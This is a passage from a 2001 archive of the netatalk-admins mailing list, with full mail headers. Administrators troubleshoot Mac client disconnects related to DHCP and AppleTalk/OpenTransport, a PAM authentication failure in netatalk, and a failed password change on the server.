Message-ID: <Pine.LNX.4.21.0109250946480.17151-100000@millions.linux-site.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 24 Sep 2001, David J. Topper wrote:

> I've had this happen too.  In my case, it had to do with the DHCP lease
> time on the given Mac.  If you can change that on your DHCP server, that
> would be one way to check.  Otherwise see if a static IP solves the
> problem.
> 

I can check the DHCP settings, but I think I have it set for 2-day
leases. The DHCP is running on the same Linux box as netatalk - problem
there perhaps? I can give the Mac a static IP as well if it would help.

-Flint Million



From netatalk.administrators-errors@umich.edu  Tue Sep 25 15:17:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA14213
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 25 Sep 2001 15:16:59 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA01858
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 25 Sep 2001 15:16:59 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA01838
	for netatalk.administrators-members@umich.edu; Tue, 25 Sep 2001 15:16:59 -0400 (EDT)
Received: from scholarone.com (mail.scholarone.com [216.174.15.41])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA01804
	for <netatalk-admins@umich.edu>; Tue, 25 Sep 2001 15:16:58 -0400 (EDT)
Received: from ark (216.174.15.135) by scholarone.com with SMTP (Eudora
 Internet Mail Server 3.0.3) for <netatalk-admins@umich.edu>;
 Tue, 25 Sep 2001 15:16:54 -0400
From: "Alexander" <alexander@ScholarOne.com>
To: <netatalk-admins@umich.edu>
Subject: FW: Authentication failure -- No such file or directory
Date: Tue, 25 Sep 2001 15:14:49 -0400
Message-ID: <NEBBIIKKOLCKKBLNIEHFEEDDHEAA.alexander@ScholarOne.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

newbie error.

With all the different options I was using in the final run I neglected to include the all important
"--with-pam" tag to the configure line.

However, I did notice a bug - but I will start another thread for that.

Thanks,
ak


-----Original Message-----
From: Alexander [mailto:alexander@ScholarOne.com]
Sent: Monday, September 24, 2001 10:00 PM
To: netatalk-admins@umich.edu
Subject: Authentication failure -- No such file or directory


Newbie here.

I have been unsuccessful in getting ANY Mac user (including guest) authenticated on my Linux box.  I
have tried so many different options of compilation variables that I have lost track - all ending
with the same message in /var/log/messages -

"uams_dhx_pam.c :PAM: PAM_Error: Authentication failure -- No such file or directory"

The only thing that works is that I can get it to appear in the Chooser, and that it recognizes when
I have tried to login with a user name that does not exist.  No matter what username I use - that
same error appears in the log file and the Mac responds with the ".. incorrect password .." message.

Here is my current setup
Linux -
Red Hat 7.1 with a 2.4.6 kernel
AFS Server (v1.2)
OpenSSL v0.9.6-9
netatalk 1.5pre7

Mac (for testing) -
G3 Powerbook with OS 9.1


I have read the posts and tried the suggestions about enabling shadow, using the afppasswd file,
using the .passwd file in the home directory, etc. ad nauseam with the same result each and every
time.

>From another linux box I can remotely ssh into my Netatalk box and login in with my test user just
fine.

AFS Notes:
The share point for the Mac Volume I am trying to mount is not on any AFS volume, so I have not
configured netatalk nor my test user with any afs options. The only thing of interest with afs is a
difference between logging in.... directly at the console results with an AFS Password prompt
(/var/log/messages logs an invalid password) -though connecting via ssh there is only one such
password prompt and there are no error messages).  Both result with a valid login to the user's home
directory.

I have the strangest feeling - there is a simple answer, but I can't see the forest with in huge
tree in my way.

I would gladly take any suggestions no matter how obvious they may seem.

Thanks in advance.
ak
+++++++++++++++++++++++++++
Alexander Karst
alexander@ScholarOne.com







From netatalk.administrators-errors@umich.edu  Tue Sep 25 15:37:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA15034
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 25 Sep 2001 15:37:11 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA04026
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 25 Sep 2001 15:37:11 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA04020
	for netatalk.administrators-members@umich.edu; Tue, 25 Sep 2001 15:37:11 -0400 (EDT)
Received: from scholarone.com (mail.scholarone.com [216.174.15.41])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA04000
	for <netatalk-admins@umich.edu>; Tue, 25 Sep 2001 15:37:10 -0400 (EDT)
Received: from ark (216.174.15.135) by scholarone.com with SMTP (Eudora
 Internet Mail Server 3.0.3) for <netatalk-admins@umich.edu>;
 Tue, 25 Sep 2001 15:37:06 -0400
From: "Alexander" <alexander@ScholarOne.com>
To: <netatalk-admins@umich.edu>
Subject: Unable to change password
Date: Tue, 25 Sep 2001 15:35:00 -0400
Message-ID: <NEBBIIKKOLCKKBLNIEHFAEDFHEAA.alexander@ScholarOne.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

In the afpd.conf file I have the following options
- -tcp -uamlist uams_randnum.so,uams_dhx.so -setpassword -nosavepassword -passwdminlen 6

I have one user who is able to login and mount the 3 different volumes, but who is unable to change
his password.

The response is "Sorry, the old pasword you entered was incorrect. Please start again."

Of course the old password is correct.

Question - is this where the .passwd or the afppasswd file is needed?
Currently I have neither set up.  They are authenticating via unix passwords.  (shadow enabled).

Thanks in advance,
ak


From netatalk.administrators-errors@umich.edu  Tue Sep 25 17:28:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA19631
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 25 Sep 2001 17:28:16 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA23797
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 25 Sep 2001 17:28:16 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA23782
	for netatalk.administrators-members@umich.edu; Tue, 25 Sep 2001 17:28:16 -0400 (EDT)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA23723
	for <netatalk-admins@umich.edu>; Tue, 25 Sep 2001 17:28:13 -0400 (EDT)
Received: from arts.usyd.edu.au (IDENT:matthew@holly.aitch.ucc.usyd.edu.au [129.78.226.234])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id HAA30775;
	Wed, 26 Sep 2001 07:28:03 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3BB0F6DB.3BE46F21@arts.usyd.edu.au>
Date: Wed, 26 Sep 2001 07:27:55 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-pre10-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: "Flint Million (netatalk)" <netatalk@millions.linux-site.net>,
        netatalk-admins@umich.edu
Subject: Re: abnormal disconnects
References: <Pine.LNX.4.21.0109250946480.17151-100000@millions.linux-site.net>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms5FD6C263A09A5DE457DFB3C7"

This is a cryptographically signed message in MIME format.

--------------ms5FD6C263A09A5DE457DFB3C7
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Flint Million (netatalk)" wrote:
> 
> On Mon, 24 Sep 2001, David J. Topper wrote:
> 
> > I've had this happen too.  In my case, it had to do with the DHCP lease
> > time on the given Mac.  If you can change that on your DHCP server, that
> > would be one way to check.  Otherwise see if a static IP solves the
> > problem.
> >
> 
> I can check the DHCP settings, but I think I have it set for 2-day
> leases. The DHCP is running on the same Linux box as netatalk - problem
> there perhaps? I can give the Mac a static IP as well if it would help.

 I run 24 hr leases on several hundred Macs and don't have wide spread
abnormal disconnect problems. I've actually snooped on several Mac's.
They will not disconnect on lease renewal if the server will let them
keep their existing IP. (We had 'pausing' problems on Imacs which our
support people attributed to DHCP renewals, however no network 'event'
corresponded to the system pauses, and DHCP renewals were 'unseen' by
the users).

 If you are running something like ISC dhcpd, it will try its hardest
never to change the address on a client, if the address pool is big
enough so that the server didn't need to start reusing addresses, a
client machine could come back months later, and ISC DHCP will look up
its history and give the machine the same IP address it had before.

 What I have found however, if a 8.6 machine connects with AppleTalk
instead of IP, it will disconnect with in five minutes, even while
trying to copy files. (Note this may still apply to 9.x and back to 8.1.
Haven't fully tested it).

 If a non ASIP client connects with AppleTalk, say system 7.5.1, it can
stay connected as long as it likes with out disconnecting, so its not
AppleTalk as such.

 What I suspect was happening, was the clients concerned had 'reconnect
at start-up', so early in the process, the machine would stop, connect
to the server and demand the password for the share. All well and good.
However it appears if this is the first system application to need the
IP stack, OpenTransport has to load and do a DHCP discover, acknowledge
cycle to obtain its IP address. Looks like the AppleShare client can't
be bothered waiting for this process to complete, decides IP is
unavailable and makes the server connection with AppleTalk. When the
client gets disconnected some time later and they try to reconnect to
the server, OpenTransport is loaded and already has its IP address, so
an ASIP connection is made and all works perfectly from then on.

 Our solution was to make something else need IP before the AppleShare
client needed it. We run 'keyserver' to control concurrent licences. It
loads before AppleShare. Setting the keyserver control to use IP to
contact the keyserver instead of AppleTalk 'fixed' the problem. The
keyserver control is prepared to wait for OpenTransport to load and
obtain its address. We see the boot process stop briefly when the
keyserver control loads and 'grows legs' (Which indicates it 'logged in'
to the keyserver), then AppleShare loads, the user gets the password
prompt, they login with ASIP and all works perfectly.
--------------ms5FD6C263A09A5DE457DFB3C7
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH0AYJKoZIhvcNAQcCoIIHwTCCB70CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BbswggKKMIIB86ADAgECAgMFMYswDQYJKoZIhvcNAQECBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTA3MDkxOTEyNThaFw0wMjA3MDkxOTEyNTha
MEoxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxJzAlBgkqhkiG9w0BCQEWGG1h
dHRoZXdAYXJ0cy51c3lkLmVkdS5hdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1H+o
MQ4xn5lDS/7p9rYboPW7grw13lXOj7Xisip37QttkX7Ga3ITBXnsAKnuFK3Z7GtILACBXil1
BngLBOd0AlW9zqQBXEOP9aODNJzBsTb3+tOHwQo6shcORKQArKEinG00SuwBdzxALU3KWT6E
yIUSvoz7q0PN4C8qUF3t00sCAwEAAaM1MDMwIwYDVR0RBBwwGoEYbWF0dGhld0BhcnRzLnVz
eWQuZWR1LmF1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAiJu7SNBXsW7I+ZH9
e2+0M47BmR3DxV31VbW9mKcwuamusWSJJEy5MAKZc8b0snRX/XDkCpM+av3VxDJX8T3rxOE0
siyCC6Tclu6wjwjw0goXK4N6Xhsz+qwIfdoclNZkqK5yInEZtc5ijKr0IPRgch79f35WP82C
SNHVYApmjzgwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT
EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp
dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG
9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcN
MDIwODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTES
MBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmlj
YXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMw
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNE
KYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu
2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQAB
o04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0T
AQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0
S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHC
CafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2lhglTWr0ncXDkS+p
lrgFPFL83eliA0gxggHdMIIB2QIBATCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNV
BAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBS
U0EgMjAwMC44LjMwAgMFMYswCQYFKw4DAhoFAKCBmTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0wMTA5MjUyMTI3NTZaMCMGCSqGSIb3DQEJBDEWBBRlhoPL
04/WKLE9JjgaEFx127k38zA6BgkqhkiG9w0BCQ8xLTArMAoGCCqGSIb3DQMHMA4GCCqGSIb3
DQMCAgIAgDANBggqhkiG9w0DAgIBQDANBgkqhkiG9w0BAQEFAASBgBZmmxb/MRNqzIveLffI
guv/Mum9xR2Ila3MNejg4F53cU+2CEdXBhY+4htwmTMktgIy4xBQR3MymdndzdbJbcsN03Kt
UEmegTAVVX3oc/FUaVsycRLyoJG8eGYepFxh5AwESbdIoZBkyvSxkQ81u6WkqqAlAdFn0yJm
PaUCb8/X
--------------ms5FD6C263A09A5DE457DFB3C7--


From netatalk.administrators-errors@umich.edu  Tue Sep 25 17:43:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA20088
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 25 Sep 2001 17:43:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA05347
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 25 Sep 2001 17:43:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA05340
	for netatalk.administrators-members@umich.edu; Tue, 25 Sep 2001 17:43:11 -0400 (EDT)
Received: from mail.artshouse.com (H114.C214.tor.velocet.net [216.138.214.114])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA05285
	for <netatalk-admins@umich.edu>; Tue, 25 Sep 2001 17:43:06 -0400 (EDT)
Received: from [192.168.0.16] ( [192.168.0.16] (may be forged))
	by mail.artshouse.com (8.9.3/8.9.3) with ESMTP id RAA23219
	for <netatalk-admins@umich.edu>; Tue, 25 Sep 2001 17:42:26 -0400
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 25 Sep 2001 17:43:09 -0400
Subject: Re: abnormal disconnects
From: Mark Guertin <mark@artshouse.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7D672AD.B39%mark@artshouse.com>
In-Reply-To: <3BB0F6DB.3BE46F21@arts.usyd.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

No need to have other programs request an IP first, the OS can do it for
you...

Go into the TCP/IP control panel on the mac, then into the options button
(make sure you are in advanced or administration mode), and make sure the
"load only when needed" in NOT checked and it should do a DHCP request at
startup when it initializes TCP/IP.

Mark


> From: Matthew Geier <matthew@arts.usyd.edu.au>
> Organization: Arts IT Unit, Sydney University
> Date: Wed, 26 Sep 2001 07:27:55 +1000
> To: "Flint Million (netatalk)" <netatalk@millions.linux-site.net>,
> netatalk-admins@umich.edu
> Subject: Re: abnormal disconnects
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 25 Sep 2001 17:32:18 -0400 (EDT)
> 
> "Flint Million (netatalk)" wrote:
>> 
>> On Mon, 24 Sep 2001, David J. Topper wrote:
>> 
>>> I've had this happen too.  In my case, it had to do with the DHCP lease
>>> time on the given Mac.  If you can change that on your DHCP server, that
>>> would be one way to check.  Otherwise see if a static IP solves the
>>> problem.
>>> 
>> 
>> I can check the DHCP settings, but I think I have it set for 2-day
>> leases. The DHCP is running on the same Linux box as netatalk - problem
>> there perhaps? I can give the Mac a static IP as well if it would help.
> 
> I run 24 hr leases on several hundred Macs and don't have wide spread
> abnormal disconnect problems. I've actually snooped on several Mac's.
> They will not disconnect on lease renewal if the server will let them
> keep their existing IP. (We had 'pausing' problems on Imacs which our
> support people attributed to DHCP renewals, however no network 'event'
> corresponded to the system pauses, and DHCP renewals were 'unseen' by
> the users).
> 
> If you are running something like ISC dhcpd, it will try its hardest
> never to change the address on a client, if the address pool is big
> enough so that the server didn't need to start reusing addresses, a
> client machine could come back months later, and ISC DHCP will look up
> its history and give the machine the same IP address it had before.
> 
> What I have found however, if a 8.6 machine connects with AppleTalk
> instead of IP, it will disconnect with in five minutes, even while
> trying to copy files. (Note this may still apply to 9.x and back to 8.1.
> Haven't fully tested it).
> 
> If a non ASIP client connects with AppleTalk, say system 7.5.1, it can
> stay connected as long as it likes with out disconnecting, so its not
> AppleTalk as such.
> 
> What I suspect was happening, was the clients concerned had 'reconnect
> at start-up', so early in the process, the machine would stop, connect
> to the server and demand the password for the share. All well and good.
> However it appears if this is the first system application to need the
> IP stack, OpenTransport has to load and do a DHCP discover, acknowledge
> cycle to obtain its IP address. Looks like the AppleShare client can't
> be bothered waiting for this process to complete, decides IP is
> unavailable and makes the server connection with AppleTalk. When the
> client gets disconnected some time later and they try to reconnect to
> the server, OpenTransport is loaded and already has its IP address, so
> an ASIP connection is made and all works perfectly from then on.
> 
> Our solution was to make something else need IP before the AppleShare
> client needed it. We run 'keyserver' to control concurrent licences. It
> loads before AppleShare. Setting the keyserver control to use IP to
> contact the keyserver instead of AppleTalk 'fixed' the problem. The
> keyserver control is prepared to wait for OpenTransport to load and
> obtain its address. We see the boot process stop briefly when the
> keyserver control loads and 'grows legs' (Which indicates it 'logged in'
> to the keyserver), then AppleShare loads, the user gets the password
> prompt, they login with ASIP and all works perfectly.


From netatalk.administrators-errors@umich.edu  Tue Sep 25 19:03:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA22410
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 25 Sep 2001 19:03:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA11751
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 25 Sep 2001 19:03:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA11745
	for netatalk.administrators-members@umich.edu; Tue, 25 Sep 2001 19:03:52 -0400 (EDT)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA11720
	for <netatalk-admins@umich.edu>; Tue, 25 Sep 2001 19:03:47 -0400 (EDT)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id JAA26805;
	Wed, 26 Sep 2001 09:03:41 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3BB10D4B.1811A3A9@arts.usyd.edu.au>
Date: Wed, 26 Sep 2001 09:03:39 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.7-pre6-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Mark Guertin <mark@artshouse.com>
CC: netatalk-admins@umich.edu
Subject: Re: abnormal disconnects
References: <B7D672AD.B39%mark@artshouse.com>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms7B5821B8A9DF99B8C9E0A2AC"

This is a cryptographically signed message in MIME format.

--------------ms7B5821B8A9DF99B8C9E0A2AC
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Mark Guertin wrote:
> 
> No need to have other programs request an IP first, the OS can do it for
> you...
> 
> Go into the TCP/IP control panel on the mac, then into the options button
> (make sure you are in advanced or administration mode), and make sure the
> "load only when needed" in NOT checked and it should do a DHCP request at
> startup when it initializes TCP/IP.


 Doesn't help in this case, as AppleShare is the first 'application'
that needs TCP/IP. That option doen't force OpenTransport to load, it
just stops it unloading when it thinks its unneeded. We unset 'load only
when needed' as a matter of course when setting up machines.
 

-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------ms7B5821B8A9DF99B8C9E0A2AC
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH0AYJKoZIhvcNAQcCoIIHwTCCB70CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BbswggKKMIIB86ADAgECAgMFMYswDQYJKoZIhvcNAQECBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTA3MDkxOTEyNThaFw0wMjA3MDkxOTEyNTha
MEoxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxJzAlBgkqhkiG9w0BCQEWGG1h
dHRoZXdAYXJ0cy51c3lkLmVkdS5hdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1H+o
MQ4xn5lDS/7p9rYboPW7grw13lXOj7Xisip37QttkX7Ga3ITBXnsAKnuFK3Z7GtILACBXil1
BngLBOd0AlW9zqQBXEOP9aODNJzBsTb3+tOHwQo6shcORKQArKEinG00SuwBdzxALU3KWT6E
yIUSvoz7q0PN4C8qUF3t00sCAwEAAaM1MDMwIwYDVR0RBBwwGoEYbWF0dGhld0BhcnRzLnVz
eWQuZWR1LmF1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAiJu7SNBXsW7I+ZH9
e2+0M47BmR3DxV31VbW9mKcwuamusWSJJEy5MAKZc8b0snRX/XDkCpM+av3VxDJX8T3rxOE0
siyCC6Tclu6wjwjw0goXK4N6Xhsz+qwIfdoclNZkqK5yInEZtc5ijKr0IPRgch79f35WP82C
SNHVYApmjzgwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT
EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp
dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG
9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcN
MDIwODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTES
MBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmlj
YXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMw
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNE
KYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu
2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQAB
o04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0T
AQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0
S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHC
CafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2lhglTWr0ncXDkS+p
lrgFPFL83eliA0gxggHdMIIB2QIBATCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNV
BAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBS
U0EgMjAwMC44LjMwAgMFMYswCQYFKw4DAhoFAKCBmTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0wMTA5MjUyMzAzNDFaMCMGCSqGSIb3DQEJBDEWBBRBoI7f
agOhDAEG5D+m+1bozyeCLjA6BgkqhkiG9w0BCQ8xLTArMAoGCCqGSIb3DQMHMA4GCCqGSIb3
DQMCAgIAgDANBggqhkiG9w0DAgIBQDANBgkqhkiG9w0BAQEFAASBgEmvSiUYDrfo3l+xDc49
M2K8lIo29wOVweZsNdJwSq7exxb6Ke4tdOlZFRjSsxFc39mPKdUQJnkNIt4O1UURwy3jB5+P
G9LkRuDrDo6nT6s3onZcaQOZulB/jfSaWZYjeOwZ28pxP0eq045AeG6CYLyhcEi3ugQs9cVN
QiwiyF/k
--------------ms7B5821B8A9DF99B8C9E0A2AC--


From netatalk.administrators-errors@umich.edu  Tue Sep 25 23:05:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA00297
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 25 Sep 2001 23:05:24 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA04834
